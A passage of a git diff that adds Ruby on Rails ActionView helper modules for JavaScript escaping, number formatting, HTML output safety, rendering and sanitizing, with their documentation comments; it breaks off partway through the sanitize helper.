+      JS_ESCAPE_MAP["\342\200\250".dup.force_encoding(Encoding::UTF_8).encode!] = "&#x2028;"
+      JS_ESCAPE_MAP["\342\200\251".dup.force_encoding(Encoding::UTF_8).encode!] = "&#x2029;"
+
+      # Escapes carriage returns and single and double quotes for JavaScript segments.
+      #
+      # Also available through the alias j(). This is particularly helpful in JavaScript
+      # responses, like:
+      #
+      #   $('some_element').replaceWith('<%= j render 'some/element_template' %>');
+      def escape_javascript(javascript)
+        if javascript
+          result = javascript.gsub(/(\\|<\/|\r\n|\342\200\250|\342\200\251|[\n\r"'])/u) { |match| JS_ESCAPE_MAP[match] }
+          javascript.html_safe? ? result.html_safe : result
+        else
+          ""
+        end
+      end
+
+      alias_method :j, :escape_javascript
+
+      # Returns a JavaScript tag with the +content+ inside. Example:
+      #   javascript_tag "alert('All is good')"
+      #
+      # Returns:
+      #   <script>
+      #   //<![CDATA[
+      #   alert('All is good')
+      #   //]]>
+      #   </script>
+      #
+      # +html_options+ may be a hash of attributes for the <tt>\<script></tt>
+      # tag.
+      #
+      #   javascript_tag "alert('All is good')", defer: 'defer'
+      #
+      # Returns:
+      #   <script defer="defer">
+      #   //<![CDATA[
+      #   alert('All is good')
+      #   //]]>
+      #   </script>
+      #
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +html_options+ as the first parameter.
+      #
+      #   <%= javascript_tag defer: 'defer' do -%>
+      #     alert('All is good')
+      #   <% end -%>
+      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+        content =
+          if block_given?
+            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+            capture(&block)
+          else
+            content_or_options_with_block
+          end
+
+        content_tag("script".freeze, javascript_cdata_section(content), html_options)
+      end
+
+      def javascript_cdata_section(content) #:nodoc:
+        "\n//#{cdata_section("\n#{content}\n//")}\n".html_safe
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
new file mode 100644
index 0000000000..4b53b8fe6e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -0,0 +1,451 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+require "active_support/core_ext/string/output_safety"
+require "active_support/number_helper"
+
+module ActionView
+  # = Action View Number Helpers
+  module Helpers #:nodoc:
+    # Provides methods for converting numbers into formatted strings.
+    # Methods are provided for phone numbers, currency, percentage,
+    # precision, positional notation, file size and pretty printing.
+    #
+    # Most methods expect a +number+ argument, and will return it
+    # unchanged if can't be converted into a valid number.
+    module NumberHelper
+      # Raised when argument +number+ param given to the helpers is invalid and
+      # the option :raise is set to  +true+.
+      class InvalidNumberError < StandardError
+        attr_accessor :number
+        def initialize(number)
+          @number = number
+        end
+      end
+
+      # Formats a +number+ into a phone number (US by default e.g., (555)
+      # 123-9876). You can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:area_code</tt> - Adds parentheses around the area code.
+      # * <tt>:delimiter</tt> - Specifies the delimiter to use
+      #   (defaults to "-").
+      # * <tt>:extension</tt> - Specifies an extension to add to the
+      #   end of the generated number.
+      # * <tt>:country_code</tt> - Sets the country code for the phone
+      #   number.
+      # * <tt>:pattern</tt> - Specifies how the number is divided into three
+      #   groups with the custom regexp to override the default format.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_phone(5551234)                                           # => 555-1234
+      #   number_to_phone("5551234")                                         # => 555-1234
+      #   number_to_phone(1235551234)                                        # => 123-555-1234
+      #   number_to_phone(1235551234, area_code: true)                       # => (123) 555-1234
+      #   number_to_phone(1235551234, delimiter: " ")                        # => 123 555 1234
+      #   number_to_phone(1235551234, area_code: true, extension: 555)       # => (123) 555-1234 x 555
+      #   number_to_phone(1235551234, country_code: 1)                       # => +1-123-555-1234
+      #   number_to_phone("123a456")                                         # => 123a456
+      #   number_to_phone("1234a567", raise: true)                           # => InvalidNumberError
+      #
+      #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: ".")
+      #   # => +1.123.555.1234 x 1343
+      #
+      #   number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
+      #   # => "(755) 6123-4567"
+      #   number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/))
+      #   # => "133-1234-5678"
+      def number_to_phone(number, options = {})
+        return unless number
+        options = options.symbolize_keys
+
+        parse_float(number, true) if options.delete(:raise)
+        ERB::Util.html_escape(ActiveSupport::NumberHelper.number_to_phone(number, options))
+      end
+
+      # Formats a +number+ into a currency string (e.g., $13.65). You
+      # can customize the format in the +options+ hash.
+      #
+      # The currency unit and number formatting of the current locale will be used
+      # unless otherwise specified in the provided options. No currency conversion
+      # is performed. If the user is given a way to change their locale, they will
+      # also be able to change the relative value of the currency displayed with
+      # this helper. If your application will ever support multiple locales, you
+      # may want to specify a constant <tt>:locale</tt> option or consider
+      # using a library capable of currency conversion.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the level of precision (defaults
+      #   to 2).
+      # * <tt>:unit</tt> - Sets the denomination of the currency
+      #   (defaults to "$").
+      # * <tt>:separator</tt> - Sets the separator between the units
+      #   (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:format</tt> - Sets the format for non-negative numbers
+      #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
+      #   currency, and <tt>%n</tt> for the number.
+      # * <tt>:negative_format</tt> - Sets the format for negative
+      #   numbers (defaults to prepending a hyphen to the formatted
+      #   number given by <tt>:format</tt>).  Accepts the same fields
+      #   than <tt>:format</tt>, except <tt>%n</tt> is here the
+      #   absolute value of the number.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_currency(1234567890.50)                    # => $1,234,567,890.50
+      #   number_to_currency(1234567890.506)                   # => $1,234,567,890.51
+      #   number_to_currency(1234567890.506, precision: 3)     # => $1,234,567,890.506
+      #   number_to_currency(1234567890.506, locale: :fr)      # => 1 234 567 890,51 €
+      #   number_to_currency("123a456")                        # => $123a456
+      #
+      #   number_to_currency("123a456", raise: true)           # => InvalidNumberError
+      #
+      #   number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+      #   # => ($1,234,567,890.50)
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+      #   # => R$1234567890,50
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+      #   # => 1234567890,50 R$
+      def number_to_currency(number, options = {})
+        delegate_number_helper_method(:number_to_currency, number, options)
+      end
+
+      # Formats a +number+ as a percentage string (e.g., 65%). You can
+      # customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the number
+      #   of significant_digits. If +false+, the number of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:format</tt> - Specifies the format of the percentage
+      #   string The number field is <tt>%n</tt> (defaults to "%n%").
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_percentage(100)                                        # => 100.000%
+      #   number_to_percentage("98")                                       # => 98.000%
+      #   number_to_percentage(100, precision: 0)                          # => 100%
+      #   number_to_percentage(1000, delimiter: '.', separator: ',')       # => 1.000,000%
+      #   number_to_percentage(302.24398923423, precision: 5)              # => 302.24399%
+      #   number_to_percentage(1000, locale: :fr)                          # => 1 000,000%
+      #   number_to_percentage("98a")                                      # => 98a%
+      #   number_to_percentage(100, format: "%n  %")                       # => 100.000  %
+      #
+      #   number_to_percentage("98a", raise: true)                         # => InvalidNumberError
+      def number_to_percentage(number, options = {})
+        delegate_number_helper_method(:number_to_percentage, number, options)
+      end
+
+      # Formats a +number+ with grouped thousands using +delimiter+
+      # (e.g., 12,324). You can customize the format in the +options+
+      # hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to ",").
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter_pattern</tt> - Sets a custom regular expression used for
+      #   deriving the placement of delimiter. Helpful when using currency formats
+      #   like INR.
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_with_delimiter(12345678)                        # => 12,345,678
+      #   number_with_delimiter("123456")                        # => 123,456
+      #   number_with_delimiter(12345678.05)                     # => 12,345,678.05
+      #   number_with_delimiter(12345678, delimiter: ".")        # => 12.345.678
+      #   number_with_delimiter(12345678, delimiter: ",")        # => 12,345,678
+      #   number_with_delimiter(12345678.05, separator: " ")     # => 12,345,678 05
+      #   number_with_delimiter(12345678.05, locale: :fr)        # => 12 345 678,05
+      #   number_with_delimiter("112a")                          # => 112a
+      #   number_with_delimiter(98765432.98, delimiter: " ", separator: ",")
+      #   # => 98 765 432,98
+      #
+      #   number_with_delimiter("123456.78",
+      #     delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)    # => "1,23,456.78"
+      #
+      #  number_with_delimiter("112a", raise: true)              # => raise InvalidNumberError
+      def number_with_delimiter(number, options = {})
+        delegate_number_helper_method(:number_to_delimited, number, options)
+      end
+
+      # Formats a +number+ with the specified level of
+      # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+      # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+      # You can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the number
+      #   of significant_digits. If +false+, the number of fractional
+      #   digits (defaults to +false+).
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +false+).
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_with_precision(111.2345)                                         # => 111.235
+      #   number_with_precision(111.2345, precision: 2)                           # => 111.23
+      #   number_with_precision(13, precision: 5)                                 # => 13.00000
+      #   number_with_precision(389.32314, precision: 0)                          # => 389
+      #   number_with_precision(111.2345, significant: true)                      # => 111
+      #   number_with_precision(111.2345, precision: 1, significant: true)        # => 100
+      #   number_with_precision(13, precision: 5, significant: true)              # => 13.000
+      #   number_with_precision(111.234, locale: :fr)                             # => 111,234
+      #
+      #   number_with_precision(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+      #   # => 13
+      #
+      #   number_with_precision(389.32314, precision: 4, significant: true)       # => 389.3
+      #   number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
+      #   # => 1.111,23
+      def number_with_precision(number, options = {})
+        delegate_number_helper_method(:number_to_rounded, number, options)
+      end
+
+      # Formats the bytes in +number+ into a more understandable
+      # representation (e.g., giving it 1500 yields 1.5 KB). This
+      # method is useful for reporting file sizes to users. You can
+      # customize the format in the +options+ hash.
+      #
+      # See <tt>number_to_human</tt> if you want to pretty-print a
+      # generic number.
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the number
+      #   of significant_digits. If +false+, the number of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_human_size(123)                                          # => 123 Bytes
+      #   number_to_human_size(1234)                                         # => 1.21 KB
+      #   number_to_human_size(12345)                                        # => 12.1 KB
+      #   number_to_human_size(1234567)                                      # => 1.18 MB
+      #   number_to_human_size(1234567890)                                   # => 1.15 GB
+      #   number_to_human_size(1234567890123)                                # => 1.12 TB
+      #   number_to_human_size(1234567890123456)                             # => 1.1 PB
+      #   number_to_human_size(1234567890123456789)                          # => 1.07 EB
+      #   number_to_human_size(1234567, precision: 2)                        # => 1.2 MB
+      #   number_to_human_size(483989, precision: 2)                         # => 470 KB
+      #   number_to_human_size(1234567, precision: 2, separator: ',')        # => 1,2 MB
+      #   number_to_human_size(1234567890123, precision: 5)                  # => "1.1228 TB"
+      #   number_to_human_size(524288000, precision: 5)                      # => "500 MB"
+      def number_to_human_size(number, options = {})
+        delegate_number_helper_method(:number_to_human_size, number, options)
+      end
+
+      # Pretty prints (formats and approximates) a number in a way it
+      # is more readable by humans (eg.: 1200000000 becomes "1.2
+      # Billion"). This is useful for numbers that can get very large
+      # (and too hard to read).
+      #
+      # See <tt>number_to_human_size</tt> if you want to print a file
+      # size.
+      #
+      # You can also define your own unit-quantifier names if you want
+      # to use other decimal units (eg.: 1500 becomes "1.5
+      # kilometers", 0.150 becomes "150 milliliters", etc). You may
+      # define a wide range of unit quantifiers, even fractional ones
+      # (centi, deci, mili, etc).
+      #
+      # ==== Options
+      #
+      # * <tt>:locale</tt> - Sets the locale to be used for formatting
+      #   (defaults to current locale).
+      # * <tt>:precision</tt> - Sets the precision of the number
+      #   (defaults to 3).
+      # * <tt>:significant</tt> - If +true+, precision will be the number
+      #   of significant_digits. If +false+, the number of fractional
+      #   digits (defaults to +true+)
+      # * <tt>:separator</tt> - Sets the separator between the
+      #   fractional and integer digits (defaults to ".").
+      # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+      #   to "").
+      # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+      #   insignificant zeros after the decimal separator (defaults to
+      #   +true+)
+      # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+      #   string containing an i18n scope where to find this hash. It
+      #   might have the following keys:
+      #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+      #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+      #     <tt>:billion</tt>, <tt>:trillion</tt>,
+      #     <tt>:quadrillion</tt>
+      #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+      #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+      #     <tt>:pico</tt>, <tt>:femto</tt>
+      # * <tt>:format</tt> - Sets the format of the output string
+      #   (defaults to "%n %u"). The field types are:
+      #   * %u - The quantifier (ex.: 'thousand')
+      #   * %n - The number
+      # * <tt>:raise</tt> - If true, raises +InvalidNumberError+ when
+      #   the argument is invalid.
+      #
+      # ==== Examples
+      #
+      #   number_to_human(123)                                          # => "123"
+      #   number_to_human(1234)                                         # => "1.23 Thousand"
+      #   number_to_human(12345)                                        # => "12.3 Thousand"
+      #   number_to_human(1234567)                                      # => "1.23 Million"
+      #   number_to_human(1234567890)                                   # => "1.23 Billion"
+      #   number_to_human(1234567890123)                                # => "1.23 Trillion"
+      #   number_to_human(1234567890123456)                             # => "1.23 Quadrillion"
+      #   number_to_human(1234567890123456789)                          # => "1230 Quadrillion"
+      #   number_to_human(489939, precision: 2)                         # => "490 Thousand"
+      #   number_to_human(489939, precision: 4)                         # => "489.9 Thousand"
+      #   number_to_human(1234567, precision: 4,
+      #                           significant: false)                   # => "1.2346 Million"
+      #   number_to_human(1234567, precision: 1,
+      #                           separator: ',',
+      #                           significant: false)                   # => "1,2 Million"
+      #
+      #   number_to_human(500000000, precision: 5)                      # => "500 Million"
+      #   number_to_human(12345012345, significant: false)              # => "12.345 Billion"
+      #
+      # Non-significant zeros after the decimal separator are stripped
+      # out by default (set <tt>:strip_insignificant_zeros</tt> to
+      # +false+ to change that):
+      #
+      # number_to_human(12.00001)                                       # => "12"
+      # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
+      #
+      # ==== Custom Unit Quantifiers
+      #
+      # You can also use your own custom unit quantifiers:
+      #  number_to_human(500000, units: {unit: "ml", thousand: "lt"})  # => "500 lt"
+      #
+      # If in your I18n locale you have:
+      #   distance:
+      #     centi:
+      #       one: "centimeter"
+      #       other: "centimeters"
+      #     unit:
+      #       one: "meter"
+      #       other: "meters"
+      #     thousand:
+      #       one: "kilometer"
+      #       other: "kilometers"
+      #     billion: "gazillion-distance"
+      #
+      # Then you could do:
+      #
+      #  number_to_human(543934, units: :distance)              # => "544 kilometers"
+      #  number_to_human(54393498, units: :distance)            # => "54400 kilometers"
+      #  number_to_human(54393498000, units: :distance)         # => "54.4 gazillion-distance"
+      #  number_to_human(343, units: :distance, precision: 1)   # => "300 meters"
+      #  number_to_human(1, units: :distance)                   # => "1 meter"
+      #  number_to_human(0.34, units: :distance)                # => "34 centimeters"
+      #
+      def number_to_human(number, options = {})
+        delegate_number_helper_method(:number_to_human, number, options)
+      end
+
+      private
+
+        def delegate_number_helper_method(method, number, options)
+          return unless number
+          options = escape_unsafe_options(options.symbolize_keys)
+
+          wrap_with_output_safety_handling(number, options.delete(:raise)) {
+            ActiveSupport::NumberHelper.public_send(method, number, options)
+          }
+        end
+
+        def escape_unsafe_options(options)
+          options[:format]          = ERB::Util.html_escape(options[:format]) if options[:format]
+          options[:negative_format] = ERB::Util.html_escape(options[:negative_format]) if options[:negative_format]
+          options[:separator]       = ERB::Util.html_escape(options[:separator]) if options[:separator]
+          options[:delimiter]       = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter]
+          options[:unit]            = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
+          options[:units]           = escape_units(options[:units]) if options[:units] && Hash === options[:units]
+          options
+        end
+
+        def escape_units(units)
+          Hash[units.map do |k, v|
+            [k, ERB::Util.html_escape(v)]
+          end]
+        end
+
+        def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
+          valid_float = valid_float?(number)
+          raise InvalidNumberError, number if raise_on_invalid && !valid_float
+
+          formatted_number = yield
+
+          if valid_float || number.html_safe?
+            formatted_number.html_safe
+          else
+            formatted_number
+          end
+        end
+
+        def valid_float?(number)
+          !parse_float(number, false).nil?
+        end
+
+        def parse_float(number, raise_error)
+          Float(number)
+        rescue ArgumentError, TypeError
+          raise InvalidNumberError, number if raise_error
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb
new file mode 100644
index 0000000000..279cde5e76
--- /dev/null
+++ b/actionview/lib/action_view/helpers/output_safety_helper.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+
+module ActionView #:nodoc:
+  # = Action View Raw Output Helper
+  module Helpers #:nodoc:
+    module OutputSafetyHelper
+      # This method outputs without escaping a string. Since escaping tags is
+      # now default, this can be used when you don't want Rails to automatically
+      # escape tags. This is not recommended if the data is coming from the user's
+      # input.
+      #
+      # For example:
+      #
+      #  raw @user.name
+      #  # => 'Jimmy <alert>Tables</alert>'
+      def raw(stringish)
+        stringish.to_s.html_safe
+      end
+
+      # This method returns an HTML safe string similar to what <tt>Array#join</tt>
+      # would return. The array is flattened, and all items, including
+      # the supplied separator, are HTML escaped unless they are HTML
+      # safe, and the returned string is marked as HTML safe.
+      #
+      #   safe_join([raw("<p>foo</p>"), "<p>bar</p>"], "<br />")
+      #   # => "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;"
+      #
+      #   safe_join([raw("<p>foo</p>"), raw("<p>bar</p>")], raw("<br />"))
+      #   # => "<p>foo</p><br /><p>bar</p>"
+      #
+      def safe_join(array, sep = $,)
+        sep = ERB::Util.unwrapped_html_escape(sep)
+
+        array.flatten.map! { |i| ERB::Util.unwrapped_html_escape(i) }.join(sep).html_safe
+      end
+
+      # Converts the array to a comma-separated sentence where the last element is
+      # joined by the connector word. This is the html_safe-aware version of
+      # ActiveSupport's {Array#to_sentence}[http://api.rubyonrails.org/classes/Array.html#method-i-to_sentence].
+      #
+      def to_sentence(array, options = {})
+        options.assert_valid_keys(:words_connector, :two_words_connector, :last_word_connector, :locale)
+
+        default_connectors = {
+          words_connector: ", ",
+          two_words_connector: " and ",
+          last_word_connector: ", and "
+        }
+        if defined?(I18n)
+          i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
+          default_connectors.merge!(i18n_connectors)
+        end
+        options = default_connectors.merge!(options)
+
+        case array.length
+        when 0
+          "".html_safe
+        when 1
+          ERB::Util.html_escape(array[0])
+        when 2
+          safe_join([array[0], array[1]], options[:two_words_connector])
+        else
+          safe_join([safe_join(array[0...-1], options[:words_connector]), options[:last_word_connector], array[-1]], nil)
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/record_tag_helper.rb b/actionview/lib/action_view/helpers/record_tag_helper.rb
new file mode 100644
index 0000000000..4303de4209
--- /dev/null
+++ b/actionview/lib/action_view/helpers/record_tag_helper.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module RecordTagHelper
+      def div_for(*) # :nodoc:
+        raise NoMethodError, "The `div_for` method has been removed from " \
+          "Rails. To continue using it, add the `record_tag_helper` gem to " \
+          "your Gemfile:\n" \
+          "  gem 'record_tag_helper', '~> 1.0'\n" \
+          "Consult the Rails upgrade guide for details."
+      end
+
+      def content_tag_for(*) # :nodoc:
+        raise NoMethodError, "The `content_tag_for` method has been removed from " \
+          "Rails. To continue using it, add the `record_tag_helper` gem to " \
+          "your Gemfile:\n" \
+          "  gem 'record_tag_helper', '~> 1.0'\n" \
+          "Consult the Rails upgrade guide for details."
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
new file mode 100644
index 0000000000..2702fa28b2
--- /dev/null
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    # = Action View Rendering
+    #
+    # Implements methods that allow rendering from a view context.
+    # In order to use this module, all you need is to implement
+    # view_renderer that returns an ActionView::Renderer object.
+    module RenderingHelper
+      # Returns the result of a render that's dictated by the options hash. The primary options are:
+      #
+      # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>.
+      # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
+      # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
+      # * <tt>:text</tt> - Renders the text passed in out.
+      # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
+      #   type as <tt>text/plain</tt>.
+      # * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise
+      #   performs HTML escape on the string first. Setting the content type as
+      #   <tt>text/html</tt>.
+      # * <tt>:body</tt> - Renders the text passed in, and inherits the content
+      #   type of <tt>text/plain</tt> from <tt>ActionDispatch::Response</tt>
+      #   object.
+      #
+      # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
+      # as the locals hash.
+      def render(options = {}, locals = {}, &block)
+        case options
+        when Hash
+          if block_given?
+            view_renderer.render_partial(self, options.merge(partial: options[:layout]), &block)
+          else
+            view_renderer.render(self, options)
+          end
+        else
+          view_renderer.render_partial(self, partial: options, locals: locals, &block)
+        end
+      end
+
+      # Overwrites _layout_for in the context object so it supports the case a block is
+      # passed to a partial. Returns the contents that are yielded to a layout, given a
+      # name or a block.
+      #
+      # You can think of a layout as a method that is called with a block. If the user calls
+      # <tt>yield :some_name</tt>, the block, by default, returns <tt>content_for(:some_name)</tt>.
+      # If the user calls simply +yield+, the default block returns <tt>content_for(:layout)</tt>.
+      #
+      # The user can override this default by passing a block to the layout:
+      #
+      #   # The template
+      #   <%= render layout: "my_layout" do %>
+      #     Content
+      #   <% end %>
+      #
+      #   # The layout
+      #   <html>
+      #     <%= yield %>
+      #   </html>
+      #
+      # In this case, instead of the default block, which would return <tt>content_for(:layout)</tt>,
+      # this method returns the block that was passed in to <tt>render :layout</tt>, and the response
+      # would be
+      #
+      #   <html>
+      #     Content
+      #   </html>
+      #
+      # Finally, the block can take block arguments, which can be passed in by +yield+:
+      #
+      #   # The template
+      #   <%= render layout: "my_layout" do |customer| %>
+      #     Hello <%= customer.name %>
+      #   <% end %>
+      #
+      #   # The layout
+      #   <html>
+      #     <%= yield Struct.new(:name).new("David") %>
+      #   </html>
+      #
+      # In this case, the layout would receive the block passed into <tt>render :layout</tt>,
+      # and the struct specified would be passed into the block as an argument. The result
+      # would be
+      #
+      #   <html>
+      #     Hello David
+      #   </html>
+      #
+      def _layout_for(*args, &block)
+        name = args.first
+
+        if block && !name.is_a?(Symbol)
+          capture(*args, &block)
+        else
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb
new file mode 100644
index 0000000000..713b2fbb45
--- /dev/null
+++ b/actionview/lib/action_view/helpers/sanitize_helper.rb
@@ -0,0 +1,177 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/try"
+require "rails-html-sanitizer"
+
+module ActionView
+  # = Action View Sanitize Helpers
+  module Helpers
+    # The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements.
+    # These helper methods extend Action View making them callable within your template files.
+    module SanitizeHelper
+      extend ActiveSupport::Concern
+      # Sanitizes HTML input, stripping all tags and attributes that aren't whitelisted.
+      #
+      # It also strips href/src attributes with unsafe protocols like
+      # <tt>javascript:</tt>, while also protecting against attempts to use Unicode,
+      # ASCII, and hex character references to work around these protocol filters.
+      # All special characters will be escaped.
+      #
+      # The default sanitizer is Rails::Html::WhiteListSanitizer. See {Rails HTML
+      # Sanitizers}[https://github.com/rails/rails-html-sanitizer] for more information.
+      #
+      # Custom sanitization rules can also be provided.
+      #
+      # Please note that sanitizing user-provided text does not guarantee that the
+      # resulting markup is valid or even well-formed.
+      #
+      # ==== Options
+      #
+      # * <tt>:tags</tt> - An array of allowed tags.
+      # * <tt>:attributes</tt> - An array of allowed attributes.
+      # * <tt>:scrubber</tt> - A {Rails::Html scrubber}[https://github.com/rails/rails-html-sanitizer]
+      #   or {Loofah::Scrubber}[https://github.com/flavorjones/loofah] object that
+      #   defines custom sanitization rules. A custom scrubber takes precedence over
+      #   custom tags and attributes.
+      #
+      # ==== Examples
+      #
+      # Normal use:
+      #
+      #   <%= sanitize @comment.body %>
+      #
+      # Providing custom whitelisted tags and attributes:
+      #
+      #   <%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %>
+      #
+      # Providing a custom Rails::Html scrubber:
+      #
+      #   class CommentScrubber < Rails::Html::PermitScrubber
+      #     def initialize
+      #       super
+      #       self.tags = %w( form script comment blockquote )
+      #       self.attributes = %w( style )
+      #     end
+      #
+      #     def skip_node?(node)
+      #       node.text?
+      #     end
+      #   end
+      #
+      #   <%= sanitize @comment.body, scrubber: CommentScrubber.new %>
+      #
+      # See {Rails HTML Sanitizer}[https://github.com/rails/rails-html-sanitizer] for
+      # documentation about Rails::Html scrubbers.
+      #
+      # Providing a custom Loofah::Scrubber:
+      #
+      #   scrubber = Loofah::Scrubber.new do |node|
+      #     node.remove if node.name == 'script'
+      #   end
+      #
+      #   <%= sanitize @comment.body, scrubber: scrubber %>
+      #
+      # See {Loofah's documentation}[https://github.com/flavorjones/loofah] for more
+      # information about defining custom Loofah::Scrubber objects.
+      #
+      # To set the default allowed tags or attributes across your application:
+      #
+      #   # In config/application.rb
+      #   config.action_view.sanitized_allowed_tags = ['strong', 'em', 'a']
+      #   config.action_view.sanitized_allowed_attributes = ['href', 'title']
+      def sanitize(html, options = {})
+        self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
+      end
+
+      # Sanitizes a block of CSS code. Used by +sanitize+ when it comes across a style attribute.
+      def sanitize_css(style)
+        self.class.white_list_sanitizer.sanitize_css(style)
+      end
+
+      # Strips all HTML tags from +html+, including comments and special characters.
+      #
+      #   strip_tags("Strip <i>these</i> tags!")
+      #   # => Strip these tags!
+      #
+      #   strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more here</a>...")
+      #   # => Bold no more!  See more here...
+      #
+      #   strip_tags("<div id='top-bar'>Welcome to my website!</div>")
+      #   # => Welcome to my website!
+      #
+      #   strip_tags("> A quote from Smith & Wesson")
+      #   # => &gt; A quote from Smith &amp; Wesson
+      def strip_tags(html)
+        self.class.full_sanitizer.sanitize(html)
+      end
+
+      # Strips all link tags from +html+ leaving just the link text.
+      #
